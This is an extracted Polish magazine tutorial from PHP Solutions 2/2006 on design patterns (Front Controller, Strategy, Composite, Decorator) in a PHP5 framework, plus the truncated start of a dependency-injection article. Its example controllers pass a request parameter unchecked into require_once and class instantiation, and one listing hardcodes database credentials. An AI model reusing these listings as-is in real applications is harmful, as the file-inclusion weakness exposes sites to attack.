tegorie i warstwy aplikacji, wskazania, które
wzorce są wadliwe i których należy się
wystrzegać (antywzorce). Zaprezentujemy
wiele pomysłów i technik wywodzących
się z Javy, która jest podstawą inspirującą
nasze pomysły. Powiemy, kiedy powinno
się stosować dziedziczenie, a kiedy kom-
pozycję i pisanie do interfejsu. Pokażemy
wam, jak budować aplikacje, które są
jednocześnie proste i elastyczne, czyli
odporne na zmiany założeń. Zobaczycie,
jak dzielić aplikacje na niezależne warstwy,
które można wielokrotnie wykorzystywać
i wymieniać, jeżeli zachodzi taka potrze-
ba. Na samym końcu poruszymy temat
najnowszych trendów w programowaniu
obiektowym i pokażemy, jak napisać
i stosować kontener IoC, czy wykorzystać
programowanie aspektowe (AOP – ang.
Aspect Oriented Programing). W końcu
powiemy, jak omawiane rozwiązania są
wstanie współgrać w postaci jednego spój-
nego programu/aplikacji, który będzie sta-
nowił kompletny przykład tego, jak dobrze
i solidnie pisać w PHP z wykorzystaniem
wzorców i pewnych uznanych za dobre
praktyk programistycznych.
ZaczynamyNasz cel jest bardzo ambitny – chcemy po-
kazać wam, w przystępny i solidny sposób,
praktyczne wykorzystanie wzorców projek-
towych w implementacji aplikacji w PHP5.
Dlatego przyjeliśmy następujące założenia:
� każdy z omawianych przykładów osa-
dzimy we wspólnym kontekście, jakim
będzie framework do pisania aplikacji
WWW, który rozpoczniemy tworzyć
już teraz, w tym artykule,
� wszystkie prezentowane wzorce i po-
mysły przyporządkujemy jednoznacz-
nie do warstw aplikacji (prezentacja,
logika, dane),
� wszystkie przykłady będą bazowały
na PHP 5.0, a tam gdzie to konieczne,
będziemy odwoływać sie do PHP 5.1,
� prezentowany kod musi być przejrzy-
sty i zrozumialy, dlatego wykorzystane
zostaną jedynie standardowe elemen-
ty języka PHP5, z pominięciem np.
funkcji magicznych,
� musimy wiedzieć, czy podążamy
w dobrym kierunku, dlatego kod,
który będziemy razem tworzyć, zo-
stanie opublikowany w Internecie wraz
z forum, na którym będziecie mogli się
dyskutować o tworzonych rozwiąza-
niach.
Zbudujmy sobie frameworkWeźmy przykład – część aplikacji WWW,
odpowiedzialną za przetwarzanie parame-
trów przesyłanych w zapytaniu HTTP jako
wynik wywołania URL. Większość z nas
wielokrotnie pisała taki fragment kodu, roz-
wiązując ten sam problem trochę inaczej.
Ponieważ jest to artykuł o wzorcach pro-
jektowych, w dalszych przykładach wyko-
rzystamy wzorzec architektoniczny Front
Controller. Front Controller jest jednym,
centralnym miejscem aplikacji, przez który
przechodzą wszystkie wywołania HTTP.
Dzięki takiej fasadzie możemy w jednym
miejscu skupić funkcjonalność wspólną
dla wszystkich akcji (np. sprawdzanie praw
Wzorce programistyczne i projektoweWielu programistów kojarzy pojęcie wzorców z książką Design Patterns, napisaną przez
czwórkę programistów: Erich Gamma, Richard Helm, Ralph Johnson and John Vlissides,
zwanych Bandą Czworga w skrócie GOF (Gang Of Four). Książka ta jako pierwsza spo-
pularyzowała pojęcie wzorców w świecie informatyki.
Wzorce nie stanowią jednego wspólnego worka, dzieli się je na kategorie, co ułatwia
ich odnajdywanie i zrozumienie. Można je kategoryzować na wiele sposobów – GOF po-
dzielili wzorce na trzy kategorie:
� strukturalne (pokazujące, jak należy łączyć ze sobą klasy),
� behawioralne (pokazujące jak uelastyczniać zachowanie oprogramowania),
� tworzące (pokazujące jak uelastyczniać tworzenie obiektów).
Inny sposób mówi o podziale wzorców na warstwy. I tak mamy wzorce należące do warstwy
prezentacji, logiki biznesowej, i dostępu do danych. Są też wzorce, które nie należą do żad-
nej z wymienionych kategorii, np. Template Metod, Composite czy Dekorator. Wyróżnia się
jeszcze trzeci podział mający charakter nieformalny, który dzieli wzorce na programistyczne
i architektoniczne, o którym wspomnieliśmy na początu artykułu. Istnieją też wzorce, które
nie należą do żadnej z wymienionych kategorii, ale mają istotne znaczenie, ponieważ stano-
wią fundament bardziej złożonych rozwiązań. Opowiemy o nich kolejnych artykułach.
Rysunek 1. UML-owy diagram klas dla omawianego fragmentu frameworka
16_17_18_19_20_21_22_23_wzorce_PL.indd 17 2006-01-12, 17:43:08
Wzorce projektowe
www.phpsolmag.org18
Początki
PHP Solutions Nr 2/2006
użytkowników do wykonania danej akcji,
logowanie czasy renderowania stron itd.).
W szczególności w tym głównym kontrole-
rze będziemy umieszczali logikę związaną
z interpretacją przesłanych parametrów. Na
podstawie wyniku interpretacji parametrów,
Front Controller przekazuje sterowanie do
konkretnej akcji, modułu aplikacji. W tych
oddzielnych akcjach znajduje się funkcjo-
nalność poszczególnych modułów, np.:
zarządzanie kontami użytkowników, ob-
sługa newsów czy forum. Głównemu kon-
trolerowi pozostawiamy zadania wspólne
dla wszystkich akcji. Dzięki takiej separacji
zadań programista dopisujący nowy moduł
nie musi martwić się o usługi, które muszą
być zapewnione dla każdej akcji. Tym zaj-
muje się już Front Controller. Więcej o tym
wzorcu przeczytacie w artykule Frameworki
dla PHP, z numeru 2/2005.
Spójrzmy na Listing 1 i Rysunek 1,
gdzie możemy zobaczyć prosty schemat
UML omówionej części aplikacji oraz re-
prezentację tego modelu w kodzie. Jak
widać na przedstawionym wydruku, na
początku zdecydowaliśmy się na dość
prosty sposób mapowania URL na kon-
kretną klasę dostarczającą funkcjonalności.
Zakładając, że URL miał postać http://
[host]/[katalog]/index.php?action=sayhello,
w przedstawionym przykładzie będziemy
poszukiwali klasy o nazwie sayhello
umieszczonej w głównym katalogu. Oczy-
wiście taki sposób mapowania wywołań
na implementację jest dość prymitywny
i w praktyce różne osoby będą miały od-
mienne pomysły na nazewnictwo klas,
ich położenie w strukturze folderów, wy-
magania co do bezpieczeństwa itd. Może
zdarzyć się nawet, że my sami w różnych
projektach będziemy chcieli stosować
jakieś warianty podstawowego rozwiąza-
nia. W chwili obecnej każda taka zmiana
wymaga modyfi kacji klasy głównego kon-
trolera. Możemy próbować przewidywać,
jakie funkcje będą w przyszłości potrzebne
i odpowiednio sparametryzować Front
Controller (Listing 2).
Niestety, nasze przewidywania nie
obejmują zbyt wielu przypadków i z pewno-
ścią znajdzie się projekt, w którym potrzeb-
na będzie zupełnie odmienna strategia
odnajdywania implementacji na podstawie
URL. Czy oznacza to, że jesteśmy skazani
na ciągłe zmiany Front Controllera?
Strategy
Listing 3 pokazuje, że najczęściej zmienia-
jącą się część kodu możemy wydzielić do
Listing 1. Front Controller z ustalonym na stałe sposobem wyszukiwania akcji
interface MVCAction {
public function doAction(HttpRequest $request);
}
class HttpRequest {
private $_requestParams = array ();
public function __construct() {
$this->_requestParams = array_merge($_GET, $_POST);
}
public function getParam($paramName) {
return $this->_requestParams[$paramName];
}
}
interface FrontController {
public function doService(HttpRequest $request);
}
/**
* Najprostsza implementacja interfejsu FrontController.
* Wszystkie parametry sterujące pracą głównego kontrolera są zapisane na stałe
w kodzie.*/
class FrontControllerImpl implements FrontController {
public function doService(HttpRequest $request){
//na stałe zapisana nazwa parametru wywołania HTTP,
//przez co trudno jest zmienić nazwę parametru odpowiedzialnego
//za przekierowanie przetwarzania do konkretnej akcji
$actionName = $request->getParam('action');
if ($actionName != ''){
//na stałe zapisany katalog i nazewnictwo plików zawierających akcje,
//wprowadzenie innej strategii odnajdywania klas z implementacją akcji
//wymaga modyfi kacji w tym fragmencie kodu
$actionClassFileName = dirname(__FILE__).'/'.$actionName.'.php';
if (!class_exists($actionName)){
if (fi le_exists($actionClassFileName)){
require_once($actionClassFileName);
} else {
throw new RuntimeException("Brak na dysku pliku z defi nicją akcji
'$actionClassFileName'");
}
}
//powołanie do życia odnalezionej klasy dla akcji
$actionClass = new $actionName();
//właściwe wywołanie akcji
//wszystkie akcje muszą implementować interfejs MVCAction
$actionClass->doAction($request);
} else {
throw new RuntimeException('Nie wyspecyfi kowano akcji do wywołania!');
}
}
}
$fc = new FrontControllerImpl();
$fc->doService(new HttpRequest());
class sayhello implements MVCAction {
public function doAction(HttpRequest $request){
echo "Hello World!";
}
}
16_17_18_19_20_21_22_23_wzorce_PL.indd 18 2006-01-12, 17:40:45
zamów prenumeratę PHP Solutions a otrzymasz prezent!
szczegółowe informacje: www.phpsolmag.org/prenumerata lub [email protected]
w prezencie otrzymasz
Archiwum PHP Solutions 2005 w PDF
dodatkowo do wyboru:
program PHPRunner o wartości 199$
pakiet Xtreeme SiteXpert fi rmy Xtreeme
dwa dowolne numery archiwalne PHP Solutions
roczny abonament na Usługę Business Starter
jedna z czterech książek z Wydawnictw Naukowo-Technicznych
pakiet internetowy nQ.Biznes fi rmy Netlink o wartości 486,70 zł
Maguma Workbench Core
* cena prenumeraty rocznej w promocji zimowej
oferta ważna do wyczerpania zapasów;
niższa cena: 135zł
19_prenumerata_PL.indd 74 2006-01-12, 17:43:57
Wzorce projektowe
www.phpsolmag.org20
Początki
PHP Solutions Nr 2/2006
Listing 2. Front Controller po sparametryzowaniu
/**
* Kolejna próba implementacji FrontControllera, w której
* pojawiają się parametry dla wartości, które do tej pory
* były zapisane na stałe.
*/
class FrontControllerImpl implements FrontController {
private $_actionRequestParamName;
private $_actionFileNamePrefi x;
private $_actionFileNameSufi x;
/**
* Konstruktor FrontControllera, dzięki któremu możemy
* parametryzować działanie metody doService.
*
* @param String $actionRequestParamName
* @param String $actionFileNamePrefi x
* @param String $actionFileNameSufi x
*/
public function __construct($actionRequestParamName,
$actionFileNamePrefi x, $actionFileNameSufi x){
$this->_actionRequestParamName =
$actionRequestParamName;
$this->_actionFileNamePrefi x = $actionFileNamePrefi x;
$this->_actionFileNameSufi x=$actionFileNameSufi x;
}
public function doService(HttpRequest $request){
$actionName = $request->getParam(
$this->_actionRequestParamName);
if ($actionName != ''){
$actionClassFileName = $this->
_actionFileNamePrefi x.
$actionName.$this->_actionFileNameSufi x;
if (!class_exists($actionName)){
if (fi le_exists($actionClassFileName)){
require_once($actionClassFileName);
} else {
throw new RuntimeException(
"Brak na dysku pliku z defi nicją akcji
'$actionClassFileName'");
}
}
$actionClass = new $actionName();
$actionClass->doAction($request);
} else {
throw new RuntimeException(
'Nie wyspecyfi kowano akcji do wywołania!');
}
}
}
$fc = new FrontControllerImpl('action',
dirname(__FILE__).'/','.php');
$fc->doService(new HttpRequest());
Listing 3. Front Controller z wymienną strategią
odnajdywania akcji
interface ActionResolvingStrategy {
public function resolveAction(HttpRequest $request);
}
class FilePerActionResolvingStrategy implements
ActionResolvingStrategy {
private $_actionRequestParamName;
private $_actionFileNamePrefi x;
private $_actionFileNameSufi x;
public function __construct($actionRequestParamName,
$actionFileNamePrefi x, $actionFileNameSufi x) {
$this->_actionRequestParamName =
$actionRequestParamName;
$this->_actionFileNamePrefi x = $actionFileNamePrefi x;
$this->_actionFileNameSufi x = $actionFileNameSufi x;
}
public function resolveAction(HttpRequest $request) {
$actionName = $request->getParam(
$this->_actionRequestParamName);
if ($actionName != '') {
$actionClassFileName = $this->
_actionFileNamePrefi x.
$actionName.$this->_actionFileNameSufi x;
if (!class_exists($actionName)) {
if (fi le_exists($actionClassFileName)) {
require_once ($actionClassFileName);
} else {throw new RuntimeException(
"Brak na dysku pliku z defi nicją akcji
'$actionClassFileName'");
}
}
} else {throw new RuntimeException(
'Nie wyspecyfi kowano akcji do wywołania!');
}
$actionClass = new $actionName ();
return $actionClass;
}
}
class FrontControllerImpl implements FrontController {
private $_actionResolvingStrategy;
//Przy konstruowaniu FrontController-a ustalamy strategię,
//według której będą odszukiwane akcje dla zapytania HTTP.
public function __construct(ActionResolvingStrategy
$actionResolvingStrategy) {
$this->_actionResolvingStrategy =
$actionResolvingStrategy;
}
public function doService(HttpRequest $request) {
// we FrontControllerze pozostaje jedynie wywołanie
// wcześniej ustalonej strategii. Cała logika związana
// z odnalezieniem akcji zawarta jest w klasie
// implementującej interfejs ActionResolvingStrategy
$actionClass = $this->_actionResolvingStrategy->
resolveAction($request);
if (!is_null($actionClass)) {
$actionClass->doAction($request);
} else {throw new RuntimeException(
'Nie znaleziono akcji do wykonania');
}
}
}
$fc = new FrontControllerImpl(
new FilePerActionResolvingStrategy('action',
dirname(__FILE__).'/', '.php'));
$fc->doService(new HttpRequest());
16_17_18_19_20_21_22_23_wzorce_PL.indd 20 2006-01-12, 17:41:23
Wzorce projektowe
www.phpsolmag.org 21
Początki
PHP Solutions Nr 2/2006
osobnej klasy, w ten sposób uniezależnia-
jąc główny kontroler od pomysłów na ma-
powania URL. Listing 4 jest dowodem na
to, że dzięki wprowadzonej zmianie można
stosować zupełnie nowe strategie, np.
posiłkując się implementacją konkretnych
akcji przechowywaną w pamięci dzielonej.
Słowo strategia pojawia się tutaj nieprzy-
padkowo, bowiem pokazana na Listingu
3 modyfi kacja jest wzorcem projektowym
Strategy. Dzięki niemu wyodrębniliśmy
fragment programu, który może być łatwo
podmieniany i dostosowany do konkretnych
potrzeb. Możemy stosować różne strategie
dla konkretnego kroku w większym algoryt-
mie. Dopisujemy tylko tą część programu,
która dostarcza nowej funkcjonalności i nie
musimy modyfi kować już istniejących klas.
Idealne rozwiązanie.
Composite
Bez problemu potrafi my już odszukiwać do-
wolne klasy zawierające implementację dla
przesłanego parametru URL. Całe rozwią-
zanie działa bez najmniejszego zarzutu, ale
ma jedno niedociągnięcie: implementacji
możemy poszukiwać tylko w jednym miej-
scu. W dużej części praktycznych zasto-
sowań to wystarczy, ale wyobraźmy sobie
sytuację w której próbujemy najpierw od-
szukać potrzebną implementację w pamię-
ci dzielonej, a w przypadku niepowodzenia
– na dysku. Już wcześniej przygotowaliśmy
oddzielne strategie przeszukiwania dysku
i pamięci, teraz wystarczy tylko połączenie
obu rozwiązań w jedną całość (Listing 5).
Dodajmy jeszcze jedno wymaganie – jeśli
potrzebna klasa nie zostanie odnaleziona
w żadnym z wcześniej wskazanych miejsc,
to obsługa wywołania jest delegowana do
standardowej klasy obsługującej sytuacje
wyjątkowe. Listing 6 pokazuje nasz przy-
kładowy kod po wprowadzeniu zapropo-
nowanych zmian. Analizując ten przykład
łatwo zauważmy, że każdą kolejną strate-
gię składamy z już gotowych elementów.
Z punktu widzenia Front Controllera zu-
pełnie nie ma znaczenia, czy potrzebna
klasa jest poszukiwana w jednym, czy też
w wielu miejscach. My natomiast zyskali-
śmy nowe, potężne i elastyczne narzędzie
– możliwość dowolnego łączenia pod-
stawowych klocków w większe struktury.
Zamiast od nowa pisać kod, posługujemy
się kompozycją. Po raz kolejny okazuje się,
że zmiany które właśnie wprowadziliśmy są
bardzo często spotykane przy okazji róż-
nych problemów programistycznych. Ma-
my więc standardowy problem i eleganckie
Listing 4. Strategia odnajdywania akcji w cache
/**
* Ta klasa korzysta z rozszerzenia MCache to przechowywania obiektów w
* pamięci pomiędzy wywołaniami.
* @link http://pecl.php.net/package/memcache*/
class MCacheActionResolver implements ActionResolvingStrategy {
private $_actionRequestParamName;
private $_memcache;
public function __construct($actionRequestParamName, $memcacheHost,
$memcachePort){
$this->_actionRequestParamName = $actionRequestParamName;
$memcache = new Memcache;
$memcache->connect($memcacheHost, $memcachePort);
$this->_memcache = $memcache;
}
public function resolveAction(HttpRequest $request){
$actionName = $request->getParam($this->_actionRequestParamName);
if ($actionName != ''){
return $this->_memcache->get($actionName);
} else {
throw new RuntimeException('Nie wyspecyfi kowano akcji do wywołania!');
}
}
}
Listing 5. Kompozycja wielu strategii odnajdywania akcji
/**
* Ta klasa nie dostarcza nowego sposobu odnajdywania akcji.
* Zamiast tego, potrafi skorzystać z wielu przygotowanych wcześniej strategii.
*/
class CompositeActionResolver implements ActionResolvingStrategy {
// W tej zmiennej przechowujemy zdefi ninowane strategie
private $_defi nedStrategies = array ();
public function __construct($defi nedStrategies) {
$this->_defi nedStrategies = $defi nedStrategies;
}
public function resolveAction(HttpRequest $request) {
// przeszukujemy po kolei wszystkie zdefi niowane strategie
// i zwracamy pierwszą akcję znalezioną przez jakąś strategię
foreach ($this->_defi nedStrategies as $strategy) {
$actionFromStrategy = $strategy->resolveAction($request);
if ($actionFromStrategy != null) {
return $actionFromStrategy;
}
}
return null;
}
}
// do konstruktora Front Controller przekazujemy w dalszym ciągu tylko
// jedną strategię, wzorzec Composite ukrywa przed Front Controller fakt,
// iż teraz poszukujemy akcji na 2 różne sposoby
$fc = new FrontControllerImpl(new CompositeActionResolver(array (
new MCacheActionResolver('action', 'localhost', 11211),
new FilePerActionResolvingStrategy('action', dirname(__FILE__).'/',
'.php'))));
$fc->doService(new HttpRequest());
16_17_18_19_20_21_22_23_wzorce_PL.indd 21 2006-01-12, 17:41:33
Wzorce projektowe
www.phpsolmag.org22
Początki
PHP Solutions Nr 2/2006
rozwiązanie. Udało się nam zidentyfi kować
kolejny wzorzec projektowy – Composite.
Jest to bardzo sprytny sposób na łączenie
jednostkowych rozwiązań, pojedynczych
funkcjonalności w zupełnie nowe, jeszcze
potężniejsze moduły. Wzorzec ten znajduje
bardzo szerokie zastosowanie, od obiekto-
wej reprezentacji działań matematycznych
po, jak przed chwilą widzieliśmy, budowę
frameworków.
Dekorator
Odnajdywanie klas implementujących
akcje nie jest już dla nas najmniejszym
problemem. Ponieważ tą część budowy
frameworka mamy już za sobą, spróbujmy
rozszerzyć jego możliwości. Interesującym
dodatkiem funkcjonalnym mogłoby być
zbieranie statystyk dotyczących wywoły-
wanych przez użytkowników akcji. Chcie-
libyśmy śledzić częstość wykorzystania
poszczególnych funkcjonalności i nawet
moglibyśmy pokusić się o zidentyfi kowanie
ścieżek, jakimi najczęściej poruszają się
użytkownicy w całej aplikacji. Aby prowa-
dzić wspomniane analizy, musimy jednak
najpierw przygotować dane statystyczne.
Jedyną informacją, jakie potrzebujemy jest
nazwa klasy dla wywoływanej akcji. Gdzie
umieścić kod pozyskujący tą daną?
Na pierwszy rzut oka może wydawać
się, że problem rozwiążemy pisząc kod
zbierający statystyki w jednej z klas im-
plementujących interfejs ActionResolving-
Strategy. Po chwilowym zastanowieniu się
szybko dojdziemy do wniosku, że jednak
nie jest to najlepsze rozwiązanie: w apli-
kacji może funkcjonować wiele strategii.
Nie chcemy oczywiście powielać kodu
zbierającego dane statystyczne. Drugim
kandydatem jest więc klasa Front Control-
lera. To rozwiązanie nie jest również sa-
tysfakcjonujące: przecież przy omawianiu
wzorca projektowego Strategy dążyliśmy
do pozostawienia głównego kontrolera bez
zmian. Ruch taki był podyktowany dobrą
praktyką programowania obiektowego, wg
której klasa powinna być zamknięta na
modyfi kacje, ale otwarta na rozszerzanie.
W praktyce oznacza to, że funkcjonalność
powinniśmy wprowadzać dodając nowy
kod, a nie modyfi kować już istniejący.
Biorąc pod uwagę wszystkie wspo-
mniane ograniczenia, wydaje się, że trudno
jest znaleźć miejsce dla fragmentu skryptu
zliczającego statystyki. Na szczęście sytu-
acja nie jest beznadziejna, a wybawienie
przychodzi ze strony kolejnego wzorca
projektowego – dekorator (ang. Decorator).
Listing 6. Wzorzec Composite i strategia InstanceActionResolver
/**
* Ta strategia zawsze zwraca konkretną instancję akcji.
* Dzięki temu, że implementuje ona interfejs @see ActionResolvingStrategy,
* może uczestniczyć w rozwiązywaniu akcji przez @see CompositeActionResolver.
*/
class InstanceActionResolver implements ActionResolvingStrategy {
// W tej zmiennej przechowujemy konkretną instancję akcji.
private $_action = null;
public function __construct(MVCAction $action) {
$this->_action = $action;
}
public function resolveAction(HttpRequest $request) {
// niezależnie od parametrów wywołania zwracamy tą samą akcję
return $this->_action;
}
}
// Klasa akcji dla sytuacji wyjątkowych.
class ErrorAction implements MVCAction {
public function doAction(HttpRequest $request){
echo "Wystąpił błąd!";
}
}
$fc = new FrontControllerImpl(
new CompositeActionResolver(array (
new MCacheActionResolver('action', 'localhost', 11211),
new FilePerActionResolvingStrategy('action', dirname(__FILE__).'/', '.php'),
//CompositeActionResolver zawsze znajdzie tą akcje, jeśli powyższe
//metody zawiodą
new InstanceActionResolver(new ErrorAction()))));
$fc->doService(new HttpRequest());
Listing 7. Dekorowanie strategii poszukiwania akcji
class StatisticsDecoratingActionResolver implements ActionResolvingStrategy {
private $_decoratedStrategy = null;
public function __construct(ActionResolvingStrategy $decoratedStrategy) {
$this->_decoratedStrategy = $decoratedStrategy;
}
public function resolveAction(HttpRequest $request) {
// najpierw wykonujemy oryginalny kod
$returnValue = $this->_decoratedStrategy->resolveAction($request);
// teraz zliczamy ilość konkretnych akcji
//tu następuje wzbogacenie pierwotnej klasy o nową funkcjonalność
if (!is_null($returnValue)) {
$classActionName = get_class($returnValue);
//tutaj umieszczamy kod zapisujący statystyki
//dla akcji $classActionName
}
//zwracamy wartość przygotowaną przez oryginalny kod
return $returnValue;
}
}
$fc = new FrontControllerImpl(
//tutaj dekorator "opakowuje" oryginalną strategię odnajdywania akcji
//zarówno dla Front Controllera jak i dla FilePerActionResolvingStrategy
//to udekorowanie jest zupełnie przezroczyste
new StatisticsDecoratingActionResolver(new FilePerActionResolvingStrategy(
'action', dirname(__FILE__).'/', '.php')));
$fc->doService(new HttpRequest());
16_17_18_19_20_21_22_23_wzorce_PL.indd 22 2006-01-12, 17:41:43
23PHP Solutions Nr 2/2006
Po raz kolejny nazwa wzorca naprowadza nas na trop jego
funkcjonalności: zamiast zmieniać istniejące klasy otoczmy
je, udekorujmy nową funkcjonalnością. Cała idea stanie się
oczywista, jeśli spojrzymy na Listing 7.
Zabieg z wprowadzeniem dekoratora wykonujemy kon-
struując nową klasę, która implementuje dokładnie taki inter-
fejs, jak klasa dekorowana. W samym dekoratorze możemy
dodać nową funkcjonalność do dowolnie wybranych metod,
wzbogacając niektóre o nową funkcjonalność, inne zaś po-
zostawiając bez zmian.
Po bliższym przyjrzeniu się Listingowi 7 zauważymy,
że jeden obiekt może być udekorowany wielokrotnie. Bez
problemu możemy wprowadzić inny dekorator, który umoż-
liwia dostęp do aplikacji tylko w wyznaczonych godzinach.
Wszystkie opisane modyfi kacje są możliwe bez zmiany
choćby jednej linijki kodu! Sterowanie funkcjonalnością
głównego kontrolera odbywa się przez jego odpowiednie
skonfi gurowanie (przekazanie do konstruktora wybranej
implementacji interfejsu ActionResolvingStrategy).
PodsumowaniePrzedstawione przykłady stanowią solidne i potrzebne
wprowadzenie do problematyki wzorców projektowych.
Opisaliśmy jeden wzorzec architektoniczny i trzy niskopo-
ziomowe wzorce projektowe. Zobaczyliśmy, jak elastyczne
rozwiązania możemy osiągnąć. Stawiając kolejne wyma-
gania funkcjonalne doszliśmy do najelastyczniejszego
rozwiązania. Gdyby każdy z Was spędził trochę czasu nad
przedstawionym fragmentem frameworka, z dużym praw-
dopodobieństwem samodzielnie odkryłby przedstawione
wzorce projektowe. To ważna cecha dobrego i szeroko
akceptowanego wzorca.
Zaprezentowane przez nas wzorce zostały tak dobrane,
by skupić się na jednym, niewielkim wycinku frameworka.
Oczywiście nie jest sztuką wykorzystanie jak największej
liczby wzorców projektowych w danym fragmencie kodu.
Prawdziwym wyzwaniem jest zidentyfi kowanie i użycie tylko
tych wzorców, które wprowadzają elastyczność w tym frag-
mencie aplikacji, w którym jej potrzebujemy.
Budowany framework to idealny poligon doświadczalny,
na którym zaprezentujemy wiele pożytecznych, sprawdzo-
nych w praktyce wzorców projektowych i architektonicznych.
Dalsze ćwiczenia w następnym numerze PHP Solutions. �
Paweł Kozłowski jest pracownikiem SUPERMEDIA, gdzie
od roku 2000 projektuje i tworzy złożone aplikacje WWW
w PHP. Obecnie zajmuje się rozwijaniem frameworków
i bibliotek ORM opartych na PHP5. Jest autorem portu Pico-
Container dla PHP5 i wielu publikacji poświęconych PHP.
Kontakt z autorem: [email protected].
Piotr Szarwas jest pracownikiem SUPERMEDIA Interacti-
ve i doktorantem na wydziale Fizyki Politechniki Warszaw-
skiej. Od 2003 roku projektuje aplikacje WWW w oparciu
o PHP4/5. Obecnie zajmuje się tworzeniem frameworka
dla PHP opartego na rozwiązaniach Hibernate i Spring.
Kontakt z autorem: [email protected]
O autorach
16_17_18_19_20_21_22_23_wzorce_PL.indd 23 2006-01-12, 17:42:34
www.phpsolmag.org24
Techniki
PHP Solutions Nr 2/2006
Programowanie obiektowe na do-
bre zagościło już w środowisku
PHP. Coraz lepiej poznajemy
i rozumiemy zasady rządzące konstru-
owaniem zorientowanych obiektowo apli-
kacji. Dbamy, by obiekty danej klasy miały
jedno, ściśle określone zadanie (ang. High
cohension), a powiązania pomiędzy róż-
nymi obiektami były możliwie luźne (ang.
Low coupling). Taki styl programowania
w naturalny sposób prowadzi do po-
wstania bardziej czytelnych, łatwiejszych
w utrzymaniu programów.
Niektóre z zależności pomiędzy
obiektami mają szczególny wpływ na ar-
chitekturę programu – dotyczy to obiektów
powiązanych z infrastrukturą: bazą danych,
sposobem wysyłki e-mail itp. Jeśli zbyt sil-
nie połączymy naszą aplikację z infrastruk-
turą, bardzo trudno będzie nam zmienić np.
bibliotekę obsługującą DB (ważne z punktu
widzenia PDO) czy rozwiązanie ORM. Co
więcej, takie silne powiązania bardzo utrud-
nią tworzenie testów jednostkowych (ang.
Jeśli przyjrzymy się wewnętrznej strukturze
zorientowanej obiektowo aplikacji, z łatwością
dostrzeżemy sieć wielu, współpracujących ze
sobą obiektów. Kluczowe staje się pytanie: jak
połączyć ten ogrom funkcjonalności zamknięty
w poszczególnych obiektach w jeden spójny
program? W jaki sposób dwa współpracujące ze
sobą obiekty dowiadują się o swoim istnieniu?
Unit testing). Z kolei zbyt luźne powiąza-
nia to udręka podczas pisania aplikacji
– w którymś momencie musimy przecież
poskładać poszczególne elementy w jedną
całość. Prześledźmy więc na przykładach
możliwe sposoby tworzenia powiązań
pomiędzy obiektami, oraz przeanalizujmy
wady i zalety poszczególnych rozwiązań.
Aby nasza dyskusja była bardziej ob-
razowa, wyobrazimy sobie, że budujemy
aplikację typu forum dyskusyjne. Naszym
zadaniem jest zaprojektowanie takiej
architektury, by forum można było łatwo
dostosować do współpracy z istniejącymi
już bazami, zawierającymi dane użytkow-
Obiektowa liniamontażowa, czyli przejrzystei elastyczne aplikacje w PHP5Paweł Kozłowski
W SIECI
1. http://www.martinfowler.com/
articles/injection.html
2. http://www.picocontainer.org/
Ports
Co należy wiedzieć...Powinieneś mieć podstawową wiedzę
z zakresu wzorców projektowych.
Co obiecujemy...Z artykułu dowiesz się, jak zbudować
solidną, elastyczną i przejrzystą obiekto-
wą aplikacją z wykorzystaniem wzorców
projektowych.
Stopień trudności: ���
OOP, Dependency Injection
www.phpsolmag.org 25
Techniki
PHP Solutions Nr 2/2006
ników. Dodatkowo chcielibyśmy możliwie
łatwo dodać pełen zestaw testów jednost-
kowych.
Rysunek 1 zawiera UML-owy model
klas dla fragmentu systemu odpowie-
dzialnego za zarządzanie użytkownikami.
Nasz przykładowy moduł zbudowany jest
według wszelkich reguł sztuki i ma ściśle
wyodrębnioną warstwę biznesową (klasy
UserService, User, UserExistsException)
oraz warstwę dostępu do danych (User-
DAO, DBConnection). Aby przykład był
bardziej czytelny, nie rozważamy warstwy
widoku i kontrolera z MVC (kontroler bez-
pośrednio wywołuje metody na obiekcie
UserService).
Jeden rzut oka na przedstawiony
schemat wystarczy by stwierdzić, że na-
wet w tak prostym module, składającym
się z zaledwie pięciu obiektów, istnieje
wiele wzajemnych powiązań. Dla nas
najistotniejsza jest zależność pomiędzy
obiektami klas UserService i UserDAO: de-
cyduje ona o tym, jak łatwo będzie moż-
na podmienić miejsce przechowywania
danych użytkowników, oraz czy możliwe
będzie pisanie testów jednostkowych.
W poszukiwaniu współpracownikaNajprostszym sposobem na zapewnie-
nie połączeń jest powoływanie do życia
obiektów wtedy, gdy akurat ich potrze-
bujemy. Fragment modułu stworzonego
w tym duchu pokazują Listingi 1 i 2. Apli-
kacja będzie funkcjonować poprawnie,
Rysunek 1. Model klas, z których korzystamy w przykładach
Listing 1. Klasy dla modelu UML zaprezentowanego na Rysunku 1
<?php
class User {
private $_login;
private $_password;
private $_fi rstName;
private $_lastName;
public function __construct($login, $password, $fi rstName, $lastName){
$this->_login = $login;
$this->_password = $password;
$this->_fi rstName = $fi rstName;
$this->_lastName = $lastName;
}
public function getLogin(){return $this->_login;}
public function getPassword(){return $this->_password;}
public function getFirstName(){return $this->_fi rstName;}
public function getLastName(){return $this->_lastName;}
}
class UserExistsException extends Exception {
private $_existingLoginName;
public function __construct($existingLoginName){
$this->_existingLoginName = $existingLoginName;
}
public function getExistingLoginName(){return $this->_existingLoginName;}
}
interface UserService {
public function fi ndUserByLoginName($login);
public function addUser(User $u);
}
interface UserDAO {
public function fi ndUserByLoginName($login);
public function save(User $u);
}
?>
ale zastosowane rozwiązanie ma dwie
poważne wady.
Po pierwsze, obiekty UserService są
na stałe powiązane z konkretnym sposo-
bem przechowywania danych użytkowni-
ków (UserDAO). Ścisły związek obiektów
tych dwóch klas oznacza, że nie uda się
w naszym fi kcyjnym forum zastosować in-
OOP, wzorce projektowe
www.phpsolmag.org26
Techniki
PHP Solutions Nr 2/2006
Listing 2. Wiązane obiektów przez ich tworzenie przy
pomocy new
class UserServiceImpl1 implements UserService {
public function addUser(User $u) {
$userDao = new UserDAOPDOImpl();
$existingUser = $userDao->fi ndUserByLoginName(
$u->getLogin());
if ($existingUser == null) {
$userDao->save($u);
} else {
throw new UserExistsException($u->getLogin());
}
}
public function fi ndUserByLoginName($login) {
$userDao = new UserDAOPDOImpl();
return $userDao->fi ndUserByLoginName($login);
}
}
class UserDAOPDOImpl implements UserDAO {
private static $_pdoDB = null;
public function __construct() {
if (is_null($this->_pdoDB)) {
$this->_pdoDB = new PDO("pgsql:dbname=dites
t;host=localhost", "postgres",
"postgres");
}
}
public function getConnection() {
return $this->_pdoDB;
}
public function fi ndUserByLoginName($login) {
$stmt = $this->_pdoDB->prepare("SELECT * FROM users
WHERE login = :login");
$stmt->bindParam(":login", $login);
$stmt->execute();
if ($stmt->rowCount() > 0) {
$rows = $stmt->fetchAll();
$returnUser = new User($rows[0]['login'],
$rows[0]['upassword'],
